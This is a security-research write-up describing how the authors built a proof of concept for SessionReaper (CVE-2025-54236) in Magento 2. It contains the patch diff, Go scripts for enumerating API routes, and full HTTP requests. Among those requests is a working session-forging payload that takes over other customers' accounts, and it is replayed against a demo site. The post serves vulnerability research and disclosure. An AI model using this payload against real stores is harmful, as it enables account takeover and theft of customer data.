How we built an exploit for SessionReaper, CVE-2025-54236 in Magento 2 & Adobe Commerce

We here at Pentest-Tools.com are no strangers to occasionally exploiting Magento as this seems to be the second time we embarked on a journey of developing a PoC for a 1-Day vulnerability in Magento. (The first time was when our colleague Catalin exploited CVE-2022-24086 and presented it at DefCamp.)

So what is our target for the day? Well, it's none other than CVE-2025-54236 (a.k.a. SessionReaper), an unauthenticated vulnerability in Magento 2. According to the blog posts of reputable sources - Sansec and the official Adobe advisory - this CVE has the impact that “an attacker could take over customer accounts.” However, according to the original author, Daniel “Blaklis” Le Gall, the vulnerability may result in a “potential preauth RCE.”
Anyways, like any good, 12-part (anti-)hero journey story, ours starts with a glass of milk and a patch diff from Magento.
To get details about the patch, we didn’t need any advance version diffing methodologies, as we could get the code changes directly from the Magento 2 Github Repo or just by “vim”-ing (terminal reading FTW) the HotFix file from Adobe’s Advisory.
diff --git a/vendor/magento/framework/Webapi/ServiceInputProcessor.php b/vendor/magento/framework/Webapi/ServiceInputProcessor.php
index ba58dc2bc7acf..06919af36d2eb 100644
--- a/vendor/magento/framework/Webapi/ServiceInputProcessor.php
+++ b/vendor/magento/framework/Webapi/ServiceInputProcessor.php
@@ -246,6 +246,13 @@ private function getConstructorData(string $className, array $data): array
if (isset($data[$parameter->getName()])) {
$parameterType = $this->typeProcessor->getParamType($parameter);
+ // Allow only simple types or Api Data Objects
+ if (!($this->typeProcessor->isTypeSimple($parameterType)
+ || preg_match('~\\\\?\w+\\\\\w+\\\\Api\\\\Data\\\\~', $parameterType) === 1
+ )) {
+ continue;
+ }
Ok, so now that we set the stage, the last outstanding component is to add some drama via the stress that another security research team may find and disclose a PoC for this vulnerability before us. And this seems to be exactly the case as the Searchlight Cyber team are the first to create a working RCE payload (besides the original author of the exploit 😅) and publish a blog post about it.
So what do we know?
The vulnerability is somewhere in the
ServiceInputProcessorcomponent.The vulnerability is unauthenticated or can be executed via an attacker’s self-registered customer account.
The vulnerability occurs because of the deserialization/construction of API objects.
The final impact of the vulnerability is account takeover or impersonation.
Now, like any researcher worth their salt will tell you, the little we know is good and all, but we need to start our PoC journey by making assumptions (which we will most likely invalidate) about the information we don’t have but can attempt to infer.
If our time playing CTF and consuming the same, but different, but same entertainment content (e.g. D&D, Earthsea, LotR, many others), one would know that “names have power”, and SessionReaper sounds oddly specific to us, joining the ranks of other Magento codenames such as Ambionics SQLi (literally an SQLi) and TrojanOrder (RCE via malicious order).
TL;DR: The thing is called SessionReaper so maybe we are actually looking for an object literally named “session.” 🤔

Installation and setup
Like with everything/most things in life (ok, just IT Exploitation things), we first need to set up the environment before we can get to the interesting part (a.k.a. the research work). We didn't require anything too fancy, just a default Magento installation with an optional XDebug feature enabled in order to make our lives - and the debugging process - easier.
We found that the markshust/docker-magento project provides us with exactly what we need. Using this project, installing the latest Magento version (2.4.9-alpha2 at the time of writing this article) takes just one command.
curl -s https://raw.githubusercontent.com/markshust/docker-magento/master/lib/onelinesetup | bash -s -- magento.test community 2.4.9-alpha2However, before running this single command, there was some prep work we needed to do.
First of all, make sure you have enough free memory, as this setup requires at least 6 GBs.
Secondly, Magento requires authentication keys from Adobe’s repo. Without them, Composer cannot download the package. To get these keys, use the following steps:
Log in to Magento Marketplace;
Go to My Profile -> Access Keys;
Public Key will be the required username, and Private Key the required password.
Finally, make sure that you create and tailor your environment file (
env/magento.env).
Also, for our testing setup, we decided we didn't need 2FA for our admin accounts, so we disabled this feature via the following commands:
# inside the php-fm container
composer require --dev markshust/magento2-module-disabletwofactorauth
# on the host
bin/magento setup:upgrade
bin/magento cache:flushFinally, we want to be able to debug the code, so we can easily trace what happens behind the scenes. We configured XDebug for this. The easiest method is to set it up so it uses the bin/xdebug enable command, and then attach to the php-fm container using VSCode. From here, you can configure any setting as you'd normally do when working with XDebug.
Here’s a quick video walkthrough of how the setup should look like once it’s… set up:

Intro to the Magento API
Ok, so we mentioned ServiceInputProcessor.php left, right, and above (and we’ll also mention it below 😉), but what does it actually do? Inspecting the PHP code of interest quickly and brutally demystifies the magic behind it:
/**
* Creates a new instance of the given class and populates it with the array of data. The data can
* be in different forms depending on the adapter being used, REST vs. SOAP. For REST, the data is
* in snake_case (e.g. tax_class_id) while for SOAP the data is in camelCase (e.g. taxClassId).
***TRUNCATED***
*/
protected function _createFromArray($className, $data)
{
***TRUNCATED***
// Primary method: assign to constructor parameters
$constructorArgs = $this->getConstructorData($className, $data);
$object = $this->objectManager->create($className, $constructorArgs);
// Secondary method: fallback to setter methods
foreach ($data as $propertyName => $value) {
if (isset($constructorArgs[$propertyName])) {
continue;
}
***TRUNCATED***
$this->serviceInputValidator->validateEntityValue($object, $propertyName, $setterValue);
$object->{$setterName}($setterValue);
}
***TRUNCATED***As you can see, by interpreting the JSON or SOAP request received via the API endpoints, Magento tries to construct an object and populates it with data via its constructor parameters or by calling the object’s setter methods (as long as the setter function only takes one argument).
So, cool, by starting from an accessible top level complex object class we can construct and pivot into any other Magento class object as long as it’s reachable using existing constructors and setters, right? Right? Wrong!
One last safety measure ruins our fun as Magento uses di.xml files in order to map an Interface Class with the actual/preferred classes to be used in the backend.
If a class exposes dangerous behaviours, but the application requires it, it will be encapsulated into a Proxy object that will limit the access to the otherwise dangerous constructors and/or setters, or, if the object is not required for client access, it can be entirely restricted and thus the application will refuse to construct it.
Example :
***TRUNCATED***
<preference for="Psr\Log\LoggerInterface" type="Magento\Framework\Logger\LoggerProxy" />
***TRUNCATED***
<preference for="Magento\Framework\Session\SessionManagerInterface" type="Magento\Framework\Session\Generic" />
***TRUNCATED***
<type name="Magento\Framework\Acl\Data\Cache">
<arguments>
<argument name="aclBuilder" xsi:type="object">Magento\Framework\Acl\Builder\Proxy</argument>
</arguments>
</type>
***TRUNCATED***One last interesting detail we observed and will become evident later is that the REST/SOAP API use JWT Tokens sent via the Bearer HTTP Header to identify the customers or admins interacting with the API endpoints and does not take into consideration Session Cookies. Meanwhile, the web interface is the exact opposite, as it only cares about the Session Cookie and ignores the Bearer.
Now that we've got a basic understanding of some of the internals of Magento request handling and parameter processing, it's time to kick off building the actual exploit.
Building the exploit
According to the advisory, unauthenticated attackers can exploit this vulnerability. This means we should only focus on endpoints that don't require authentication. However, since we expect most Magento stores to allow anyone to create a customer account (because that's the primary purpose of an online shop, right?), we also decided to inspect endpoints accessible to customer accounts.
The project has multiple webapi.xml files that show us the API routes the app exposes and their context. We can see the path/uri to the endpoint, the HTTP method accepted for this endpoint, the PHP function that is executed when this endpoint is called, the parameters the endpoint accepts, and also the rights required to call the endpoint.
For example, this is what a route entry looks like:
<route url="/V1/carts/mine/shipping-information" method="POST">
<service class="Magento\Checkout\Api\ShippingInformationManagementInterface" method="saveAddressInformation"/>
<resources>
<resource ref="self" />
</resources>
<data>
<parameter name="cartId" force="true">%cart_id%</parameter>
</data>
</route>In this case, the /V1/carts/mine/shipping-information endpoint can be called via HTTP POST requests and requires the cartId parameter. Once called, it’s going to execute the Magento\Checkout\Api\ShippingInformationManagementInterface::saveAddressInformation method.
Another very important component of the XML is the resources tag that shows us who can make requests to this endpoint:
If
ref="self"is present, any authenticated customer can make requests to the endpointf
ref="anonymous"is present, no authentication is required and anyone with TCP access to the Magento application can make requests to that respective endpoint .
Also, it should be noted that if an endpoint responds to multiple HTTP methods, it will have multiple entries in the webapi file.
Extracting all relevant endpoints manually is time-consuming and boring. We can speed this process up with a simple script that parses all webapi.xml files for endpoints of interest.
***TRUNCATED***
err := filepath.Walk(magentoRoot, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
if info.Name() == "webapi.xml" {
webapiFiles = append(webapiFiles, path)
}
return nil
})
***TRUNCATED***
fmt.Printf("Found %d webapi.xml files\n", len(webapiFiles))
***TRUNCATED***
// Process each webapi.xml file
for _, file := range webapiFiles {
routes, err := processWebapiFile(file)
if err != nil {
fmt.Printf("Error processing %s: %v\n", file, err)
continue
}
allRoutes = append(allRoutes, routes...)
}
***TRUNCATED***
func processWebapiFile(filePath string) ([]RouteOutput, error) {
***TRUNCATED***
var routes Routes
err = xml.Unmarshal(xmlData, &routes)
if err != nil {
return nil, fmt.Errorf("error parsing XML: %v", err)
}
var filteredRoutes []RouteOutput
for _, route := range routes.Route {
for _, resource := range route.Resources.Resource {
if resource.Ref == "self" || resource.Ref == "anonymous" {
auth := "ANON"
if resource.Ref == "self" {
auth = "CUSTOMER"
}
[snip]
}
}
}
return filteredRoutes, nil
}
Once we extracted all the endpoints worth looking into, we stumbled upon new problems.
As we said before, we can’t simply pivot to any class we want. There are constraints involved, too tedious to manually sort out. Also, there are simply too many chains that can be constructed starting from the top-level complex objects.
So, to fix this, it’s time for... you guessed it: another script!
This script must:
Take a method's signature (
class:method) and identify its source code.Split the parameter list, strip default values (`
= null`) and nullability (`?`).Skip primitive types.
Resolve unqualified class names via the file’s
useimports andnamespace.If a parameter is an interface, open all
di.xmlfiles and grab the<preference>that maps interface to its concrete class.Recurse into the concrete class’s
__construct, stopping after a configurable depth (we used a depth of 5) or when a class has already been visited (to avoid infinite loops).
To automate absolutely everything, we can glue together the endpoint extraction script with this one, and voila, we can get the chains we can execute.
In retrospect, this script should've also included the setter functions of complex objects. However, we used a different approach for those (you can read about this below).
This script generated an output file of ~6k lines, so there was still a lot to go through. However, based on the details of this vulnerability and on the names of the different objects we had access to, we could make some heuristic guesses about the chains worth looking into.
***TRUNCATED***
className := strings.TrimSpace(parts[0])
methodName := strings.TrimSpace(parts[1])
paramTree, err := analyzeMethod(className, methodName, *root, 0, *maxDepth)
if err != nil {
fmt.Println("Error:", err)
os.Exit(1)
}
printTree(paramTree, []int{})
***TRUNCATED***
func analyzeMethod(className, methodName, root string, depth, maxDepth int) ([]*Param, error) {
filePath, err := locateClassFile(className, root)
***TRUNCATED***
sig, err := extractMethodSignature(filePath, methodName)
***TRUNCATED***
params := parseParams(sig)
var result []*Param
ns, imports, _ := parseNamespaceAndUses(filePath)
***TRUNCATED***
for _, p := range params {
param := &Param{Name: p.Name, Type: p.Type}
if isPrimitive(p.Type) {
result = append(result, param)
continue
}
// First qualify relative names using use imports and namespace
resolvedType := qualifyType(p.Type, ns, imports, root)
param.Type = resolvedType
if strings.HasSuffix(resolvedType, "Interface") {
if impl, err := findPreference(resolvedType, root); err == nil {
resolvedType = impl
}
}
if _, ok := visited[resolvedType]; ok {
result = append(result, param)
continue
}
visited[resolvedType] = struct{}{}
children, _ := analyzeMethod(resolvedType, "__construct", root, depth+1, maxDepth)
param.Children = children
result = append(result, param)
}
return result, nil
}Example output of the script:
=== [1/84] GET /V1/products-render-info | Magento\Catalog\Api\ProductRenderListInterface:getList | Auth:ANON ===
1 searchCriteria (Magento\Framework\Api\SearchCriteriaInterface)
2 storeId ()
3 currencyCode ()
=== [2/84] POST /V1/guest-carts/:cartId/shipping-information | Magento\Checkout\Api\GuestShippingInformationManagementInterface:saveAddressInformation | Auth:ANON ===
1 cartId ()
2 addressInformation (Magento\Checkout\Api\Data\ShippingInformationInterface)
=== [3/84] POST /V1/carts/mine/shipping-information | Magento\Checkout\Api\ShippingInformationManagementInterface:saveAddressInformation | Auth:CUSTOMER ===
1 cartId ()
2 addressInformation (Magento\Checkout\Api\Data\ShippingInformationInterface)
***TRUNCATED***
=== [39/84] PUT /V1/carts/mine | Magento\Quote\Api\CartRepositoryInterface:save | Auth:CUSTOMER ===
1 quote (Magento\Quote\Api\Data\CartInterface)
1.1 context (Magento\Framework\Model\Context)
1.1.1 logger (Psr\Log\LoggerInterface)
1.1.2 eventDispatcher (Magento\Framework\Event\ManagerInterface)
1.1.3 cacheManager (Magento\Framework\App\CacheInterface)
1.1.4 appState (Magento\Framework\App\State)
1.1.4.1 configScope (Magento\Framework\Config\ScopeInterface)
1.1.4.2 mode ()
1.1.5 actionValidator (Magento\Framework\Model\ActionValidator\RemoveAction)
1.1.5.1 registry (Magento\Framework\Registry)
1.1.5.2 protectedModels (array)
1.2 registry (Magento\Framework\Registry)
1.3 extensionFactory (Magento\Framework\Api\ExtensionAttributesFactory)
1.3.1 objectManager (Magento\Framework\ObjectManagerInterface)
***TRUNCATED***
1.23 objectFactory (Magento\Framework\DataObject\Factory)
1.24 addressRepository (Magento\Customer\Api\AddressRepositoryInterface)
1.24.1 addressFactory (Magento\Customer\Model\AddressFactory)
1.24.2 addressRegistry (Magento\Customer\Model\AddressRegistry)
1.24.2.1 addressFactory (AddressFactory)
1.24.3 customerRegistry (Magento\Customer\Model\CustomerRegistry)
1.24.3.1 customerFactory (CustomerFactory)
1.24.3.2 customerSecureFactory (CustomerSecureFactory)
1.24.3.3 storeManager (Magento\Store\Model\StoreManagerInterface)
1.24.4 addressResourceModel (Magento\Customer\Model\ResourceModel\Address)
1.24.4.1 context (Magento\Eav\Model\Entity\Context)
1.24.4.2 entitySnapshot (Magento\Framework\Model\ResourceModel\Db\VersionControl\Snapshot)
1.24.4.3 entityRelationComposite (Magento\Framework\Model\ResourceModel\Db\VersionControl\RelationComposite)
***TRUNCATED***
1.24.4.5 customerRepository (Magento\Customer\Api\CustomerRepositoryInterface)
1.24.4.5.1 customerFactory (CustomerFactory)
1.24.4.5.2 customerSecureFactory (CustomerSecureFactory)
***TRUNCATED***
1.24.4.5.15 notificationStorage (Magento\Customer\Model\Customer\NotificationStorage)
1.24.4.5.15.1 cache (Magento\Framework\Cache\FrontendInterface)
1.24.4.5.15.2 serializer (Magento\Framework\Serialize\SerializerInterface)
1.24.4.5.16 delegatedStorage (Magento\Customer\Model\Delegation\Storage)
1.24.4.5.16.1 newFactory (NewOperationFactory)
1.24.4.5.16.2 customerFactory (CustomerInterfaceFactory)
1.24.4.5.16.3 addressFactory (AddressInterfaceFactory)
1.24.4.5.16.4 regionFactory (RegionInterfaceFactory)
1.24.4.5.16.5 logger (Psr\Log\LoggerInterface)
1.24.4.5.16.6 session (Magento\Customer\Model\Session\Proxy)
***TRUNCATED***Although we have the (un-unlimited) power of XDebug at our fingertips, sometimes simplicity is the way to go.
To easily and directly inspect the server request for which classes are accessed and reachable by the objects constructed by ServiceInputProcessor.php, we added some custom code to the _createFromArray function that will echo out:
The
classNameof the object that will be constructedThe
preferenceClassextracted from thedi.xmlconfigurationsConstructor arguments accessible and used by the class to build itself
Setter functions that can be used to set values in a class otherwise inaccessible directly via the constructor arguments
protected function _createFromArray($className, $data)
{
echo "[DBG] Accessing _createFromArray\n"; // +
echo "[DBG] Class: $className\n"; // +
$data = is_array($data) ? $data : [];
// convert to string directly to avoid situations when $className is object
// which implements __toString method like \ReflectionObject
$className = (string) $className;
if (is_subclass_of($className, \SimpleXMLElement::class)
|| is_subclass_of($className, \DOMElement::class)) {
throw new SerializationException(
new Phrase('Invalid data type')
);
}
$class = new ClassReflection($className);
if (is_subclass_of($className, self::EXTENSION_ATTRIBUTES_TYPE)) {
$className = substr($className, 0, -strlen('Interface'));
}
// Primary method: assign to constructor parameters
$constructorArgs = $this->getConstructorData($className, $data);
// Modified version of function "getConstructorData"
$preferenceClass = $this->config->getPreference($className); // +
$class2 = new ClassReflection($preferenceClass ?: $className); // +
echo "[DBG] creating: " . $preferenceClass ?: $className; // +
echo "\n"; // +
echo "[DBG] constructor args:\n"; // +
try { // +
$constructor = $class2->getMethod('__construct'); // +
} catch (\ReflectionException $e) { // +
$constructor = null; // +
} // +
if ($constructor === null) { // +
echo "[DBG] No Constructor!\n"; // +
} else { // +
$parameters = $constructor->getParameters(); // +
if($parameters){ // +
foreach ($parameters as $parameter) { // +
echo $parameter->getName() . "\n"; // +
} // +
} // +
else{ // +
echo "[DBG] No Parameters!\n"; // +
} // +
} // +
// Using "get_class_methods" + regex to get setter methods exposed by the current class // +
try { // +
$method_array = get_class_methods($preferenceClass); // +
$setters = preg_grep('/^set(\w+)/', $method_array); // +
if($setters){ // +
echo "[DBG] Getting Setters: "; // +
print_r($setters); // +
}
} catch (\ReflectionException $e) { // +
echo "[DBG] Error getting Setters!\n"; // +
} // +
echo "\n"; // +
***TRUNCATED***
Please note these code changes can cause certain endpoints of the web application itself to throw errors if accessed normally through a browser, since the expected JSON or XML responses will have their format invalidated by the echos.
Here an example of API request and the received “debugging” response.
Request:
POST /rest/default/V1/guest-carts/<guest-cart-id>/set-payment-information HTTP/2
Host: magento.test
Accept: text/html,application/xhtml+xml,application/xml
Content-Type: application/json
Content-Length: 40
{
"email":"aaa",
"paymentMethod":{}
}Note: You’ll need to generate the guest cart id <guest-cart-id> via a different request and replace above for the request to work.
Response:
HTTP/2 400 Bad Request
Server: nginx/1.24.0
Date: Mon, 20 Oct 2025 10:30:12 GMT
Content-Type: application/xml; charset=utf-8
X-Powered-By: PHP/8.3.16
Set-Cookie: PHPSESSID=a1d8d3423b25280f11dd27d2f06efa0a; expires=Mon, 20 Oct 2025 11:30:12 GMT; Max-Age=3600; path=/; domain=magento.test; secure; HttpOnly; SameSite=Lax
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Cache-Control: no-store
[DBG] Accessing _createFromArray
[DBG] Class: Magento\Quote\Api\Data\PaymentInterface
[DBG] creating: Magento\Quote\Model\Quote\Payment
[DBG] constructor args:
context
registry
extensionFactory
customAttributeFactory
paymentData
encryptor
methodSpecificationFactory
resource
resourceCollection
data
additionalChecks
serializer
jsonValidator
[DBG] Getting Setters: Array
(
[1] => setQuote
[9] => setPoNumber
[11] => setMethod
[13] => setAdditionalData
[15] => setExtensionAttributes
[19] => setAdditionalInformation
[25] => setCustomAttributes
[26] => setCustomAttribute
[27] => setData
[29] => setId
[32] => setIdFieldName
[37] => setDataChanges
[39] => setOrigData
[48] => setHasDataChanges
[62] => setEntityId
[69] => setDataUsingMethod
)
<?xml version="1.0"?>
<response>
<message>The payment method you requested is not available.</message>
<trace>***TRUNCATED***</trace>
</response>From here, we can continue chaining objects together until we reach a dead end or something of interest.
To have an easier time inspecting the nested objects sent as parameters, we have also added the following echo into the getConstructorData function:
private function getConstructorData(string $className, array $data): array
{
***TRUNCATED***
$res = [];
$parameters = $constructor->getParameters();
foreach ($parameters as $parameter) {
if (isset($data[$parameter->getName()])) {
echo "\n[DBG] param: " . $parameter->getName() . "\n"; // +
$parameterType = $this->typeProcessor->getParamType($parameter);
***TRUNCATED***
Request 2:
POST /rest/default/V1/guest-carts/<guest-cart-id>/set-payment-information HTTP/2
Host: magento.test
Accept: text/html,application/xhtml+xml,application/xml
Content-Type: application/json
Content-Length: 61
{
"email":"aaa",
"paymentMethod":{
"paymentData":{}
}
}Response 2:
HTTP/2 400 Bad Request
Server: nginx/1.24.0
Date: Mon, 20 Oct 2025 10:45:11 GMT
Content-Type: application/xml; charset=utf-8
X-Powered-By: PHP/8.3.16
Set-Cookie: PHPSESSID=4e77185e5d71da36da8802b3c878055f; expires=Mon, 20 Oct 2025 11:45:11 GMT; Max-Age=3600; path=/; domain=magento.test; secure; HttpOnly; SameSite=Lax
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Cache-Control: no-store
[DBG] Accessing _createFromArray
[DBG] Class: Magento\Quote\Api\Data\PaymentInterface
[DBG] param: paymentData
[DBG] Accessing _createFromArray
[DBG] Class: Magento\Payment\Helper\Data
[DBG] creating: Magento\Payment\Helper\Data
[DBG] constructor args:
context
layoutFactory
paymentMethodFactory
appEmulation
paymentConfig
initialConfig
***TRUNCATED***The exploit - in theory
After all the suspense that’s been building throughout the previous sections, it is finally time to get to the meat and potatoes (or vegan-friendly alternatives) that is the actual exploit.
Ironically enough, the object coming to our rescue is a Proxy object of type Magento\Customer\Model\Session\Proxy that, although doesn’t expose any dangerous constructor parameters, exposes the setter function setCustomerId which takes any customer ID the attacker can supply.
Although we’ve restricted access to the object, restricted is all we need. The magic happens in the session creation process as the 3 conditions for creating a valid cookie for an arbitrary user are met:
The default namespace this session proxy object uses is
customer_base(the namespace Magento uses to store authenticated user information in sessions).The
customer_basegets automatically populated with simple type (int, string, bool, etc.) objects the attacker controls and sets via thesetterfunctions.The session is automatically generated and saved to the system as a PHP session file with the malicious
customer_baseandcustomer_idwhen the Session object is constructed.
But enough theory, let’s see the money payload.
Request:
PUT /rest/default/V1/carts/mine HTTP/2
Host: magento.test
Accept: text/html,application/xhtml+xml,application/xml
Content-Type: application/json
Content-Length: 122
Authorization: Bearer eyJraWQiOiIxIiwiYWxnIjoiSFMyNTYifQ.***TRUNCATED***
Cookie: PHPSESSID=poc
{
"quote":{
"customerRepository":{
"delegatedStorage":{
"session":{
"CustomerId":1337
}
}
}
}
}Response:
HTTP/2 400 Bad Request
Server: nginx/1.24.0
Date: Mon, 20 Oct 2025 14:06:12 GMT
Content-Type: application/xml; charset=utf-8
X-Powered-By: PHP/8.3.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Set-Cookie: PHPSESSID=poc; expires=Mon, 20 Oct 2025 15:06:12 GMT; Max-Age=3600; path=/; domain=magento.test; secure; HttpOnly; SameSite=Lax
Cache-Control: no-store
[DBG] Accessing _createFromArray
[DBG] Class: Magento\Quote\Api\Data\CartInterface
[DBG] param: customerRepository
[DBG] Accessing _createFromArray
[DBG] Class: Magento\Customer\Api\CustomerRepositoryInterface
[DBG] param: delegatedStorage
[DBG] Accessing _createFromArray
[DBG] Class: Magento\Customer\Model\Delegation\Storage
[DBG] param: session
[DBG] Accessing _createFromArray
[DBG] Class: Magento\Customer\Model\Session\Proxy
[DBG] creating: Magento\Customer\Model\Session\Proxy
[DBG] constructor args:
objectManager
instanceName
shared
[DBG] Getting Setters: Array
(
[6] => setCustomerData
[9] => setCustomerDataObject
[10] => setCustomer
[12] => setCustomerId
[15] => setId
[16] => setCustomerGroupId
[21] => setCustomerAsLoggedIn
[22] => setCustomerDataAsLoggedIn
[26] => setBeforeAuthUrl
[27] => setAfterAuthUrl
[37] => setName
[43] => setSessionId
***TRUNCATED***
<?xml version="1.0"?>
<response>
<message>Invalid state change requested</message>
<trace>***TRUNCATED***</trace>
</response>Note: The PHP server can take the value of PHPSESSID from the request if provided in the Cookie HTTP header, but this is optional. If the request doesn’t provide a PHPSESSID cookie, the server will still create a malicious session. The only difference is that it’ll have a random 32 byte name (like a normal, less conspicuous PHP cookie).
Note 2: Sometimes the server won’t generate the cookie, so, to make sure the attack was successful, check that the Set-Cookie: PHPSESSID=poc header is present in the response. Counterintuitively when the attack fails, the server will respond with a “HTTP 200 OK” code. 😅

Note: In this example, we created a valid session for a user with id “1337” to prove that we have full control over the customer_id field, but in a real-life scenario (especially in environments that don’t have more than 1337 users) attackers will usually impersonate user 1.
Now, as mentioned aaaaall the way back in the “Intro to Magento API” section, the API section doesn’t care about cookies, so, to leverage our malicious cookie, we need to use it to access Magento’s web component.
Note: User with id “1337” doesn’t exist in the testing environment, so we switched to user “2”.
Request:
GET /customer/account/ HTTP/2
Host: magento.test
Cookie: PHPSESSID=pocid2Response:
HTTP/2 200 OK
Server: nginx/1.24.0
Date: Mon, 20 Oct 2025 17:52:08 GMT
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
X-Powered-By: PHP/8.3.16
Set-Cookie: PHPSESSID=pocid2; expires=Mon, 20 Oct 2025 18:52:08 GMT; Max-Age=3600; path=/; domain=magento.test; secure; HttpOnly; SameSite=Lax
Set-Cookie: X-Magento-Vary=edb7a51f39e1b1805cde6006bcb629a557420c330a5b2a04c5a3e0250a783c9c; expires=Mon, 20 Oct 2025 18:52:08 GMT; Max-Age=3600; path=/; secure; HttpOnly; SameSite=Lax
***TRUNCATED***
<title>My Account</title>
***TRUNCATED***
<strong class="box-title">
<span>Contact Information</span>
</strong>
<div class="box-content">
<p>
Test User<br>
test@example.com<br>
</p>
</div>Browser view:
First, we’ll delete all the Magento cookies in the browser and set our malicious
PHPSESSID:

Then, we’ll navigate to a page that only authenticated users can access (e.g.
/customer/account):

The exploit - in practice
With the exploit validated locally, we can proceed to test it on an unaltered, remote target such as https://magentodemo.pentest-ground.com.
The site is especially created to help researchers to test Magento’s SessionReaper exploit, so as long as you don’t DoS it, please - by all means - try the exploit live as you are reading this article or after reading it.
The exploit is split into 5 steps:
Register a new customer on the target
Generate a JWT token for the newly created user
Create a cart (only required if user was created via the API)
Generate a malicious session
Authenticate as victim
Register a new customer
Since the vulnerable endpoint we’ll attack in step 4 requires customer-level authentication, our first step is to create a new customer user. Thankfully for us, 90% of all e-commerce websites depend on self-registration and creating an account before buying stuff. Therefore, this feature is enabled by default and open to anyone with a valid email address (or without one, if email verification is not enforced).
There are 2 ways to register a user:
Via the browser:

Directly via the REST API:
Request:
POST /rest/default/V1/customers HTTP/2
Host: magentodemo.pentest-ground.com
Accept: text/html,application/xhtml+xml,application/xml
Content-Type: application/json
Content-Length: 137
{
"customer":{
"email":"researcher@pentest-tools.com",
"Firstname":"Again",
"Lastname":"Searcher"
},
"password": "***TRUNCATED***"
}Response:
HTTP/2 200 OK
Server: nginx/1.24.0
Date: Mon, 20 Oct 2025 20:07:43 GMT
Content-Type: application/xml; charset=utf-8
Vary: Accept-Encoding
X-Powered-By: PHP/8.3.16
Set-Cookie: PHPSESSID=26c8b69b58904c22288a343ff07a92e4; expires=Mon, 20 Oct 2025 21:07:42 GMT; Max-Age=3600; path=/; domain=magentodemo.pentest-ground.com; secure; HttpOnly; SameSite=Lax
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Cache-Control: no-store
<?xml version="1.0"?>
<response>
<id>52</id>
<group_id>1</group_id>
<created_at>2025-10-20 20:07:42</created_at>
<updated_at>2025-10-20 20:07:42</updated_at>
<created_in>Default Store View</created_in>
<email>researcher@pentest-tools.com</email>
<firstname>Again</firstname>
<lastname>Searcher</lastname>
<store_id>1</store_id>
<website_id>1</website_id>
<addresses/>
<disable_auto_group_change>0</disable_auto_group_change>
<extension_attributes>
<is_subscribed>false</is_subscribed>
</extension_attributes>
</response>By inspecting the API request, we notice that the newly created user has id 52, which means we potentially have 51 juicy users to impersonate.
Generate a customer JWT Token
Great - we created a customer! But to actually access the API components that require authentication, we need a Bearer JWT token, as the API ignores cookies. You can use the following request to get one such customer token to use in subsequent attacks.
Request:
POST /rest/default/V1/integration/customer/token HTTP/2
Host: magentodemo.pentest-ground.com
Accept: text/html,application/xhtml+xml,application/xml
Content-Type: application/json
Content-Length: 72
{
"username":"researcher@pentest-tools.com",
"password":"***TRUNCATED***"
}Response:
HTTP/2 200 OK
Server: nginx/1.24.0
Date: Mon, 20 Oct 2025 20:10:34 GMT
Content-Type: application/xml; charset=utf-8
Vary: Accept-Encoding
X-Powered-By: PHP/8.3.16
Set-Cookie: PHPSESSID=54d45744ffbf0fc560a2fc511ca96680; expires=Mon, 20 Oct 2025 21:10:34 GMT; Max-Age=3600; path=/; domain=magentodemo.pentest-ground.com; secure; HttpOnly; SameSite=Lax
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Set-Cookie: persistent_shopping_cart=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/; secure; HttpOnly; SameSite=Lax
Set-Cookie: form_key=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/; domain=magentodemo.pentest-ground.com; SameSite=Lax
X-Frame-Options: SAMEORIGIN
Cache-Control: no-store
<?xml version="1.0"?>
<response>eyJraWQiOiIxIiwiYWxnIjoiSFMyNTYifQ.eyJ1aWQiOjUyLCJ1dHlwaWQiOjMsImlhdCI6MTc2MDk5MTAzNCwiZXhwIjoxNzYwOTk0NjM0fQ.***TRUNCATED***</response>Create a cart (only required if the customer was created via the API)
If you choose to register your customer directly via the REST API (as presented in step “1.b.”), a side effect is the customer won’t have a cart automatically created and associated to the account, preventing requests to certain /cart/ endpoints.
If you created the customer via the web Interface, then you can skip this step.
Request:
POST /rest/default/V1/carts/mine HTTP/2
Host: magentodemo.pentest-ground.com
Accept: text/html,application/xhtml+xml,application/xml
Content-Type: application/json
Content-Length: 20
Authorization: Bearer eyJraWQiOiIxIiwiYWxnIjoiSFMyNTYifQ.eyJ1aWQiOjUyLCJ1dHlwaWQiOjMsImlhdCI6MTc2MDk5MTAzNCwiZXhwIjoxNzYwOTk0NjM0fQ.***TRUNCATED***
{"customerId":52}Response:
HTTP/2 200 OK
Server: nginx/1.24.0
Date: Mon, 20 Oct 2025 20:11:56 GMT
Content-Type: application/xml; charset=utf-8
Vary: Accept-Encoding
X-Powered-By: PHP/8.3.16
Set-Cookie: PHPSESSID=8d25d5f90261bc92c9d629f340d85c21; expires=Mon, 20 Oct 2025 21:11:55 GMT; Max-Age=3600; path=/; domain=magentodemo.pentest-ground.com; secure; HttpOnly; SameSite=Lax
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
Cache-Control: no-store
<?xml version="1.0"?>
<response>64</response>Generate the malicious session
With everything in place, all that’s left is to generate the malicious session cookie that points to a different customer ID, then ours (ours being 52 in this case). In this scenario we chose to impersonate the user with id “22”.
Request:
PUT /rest/default/V1/carts/mine HTTP/2
Host: magentodemo.pentest-ground.com
Accept: text/html,application/xhtml+xml,application/xml
Content-Type: application/json
Content-Length: 123
Authorization: Bearer eyJraWQiOiIxIiwiYWxnIjoiSFMyNTYifQ.eyJ1aWQiOjUyLCJ1dHlwaWQiOjMsImlhdCI6MTc2MDk5MTAzNCwiZXhwIjoxNzYwOTk0NjM0fQ.***TRUNCATED***
Cookie: PHPSESSID=ptt
{
"quote":{
"customerRepository":{
"delegatedStorage":{
"session":{
"CustomerId":22
}
}
}
}
}Response:
HTTP/2 400 Bad Request
Server: nginx/1.24.0
Date: Mon, 20 Oct 2025 20:14:21 GMT
Content-Type: application/xml; charset=utf-8
X-Powered-By: PHP/8.3.16
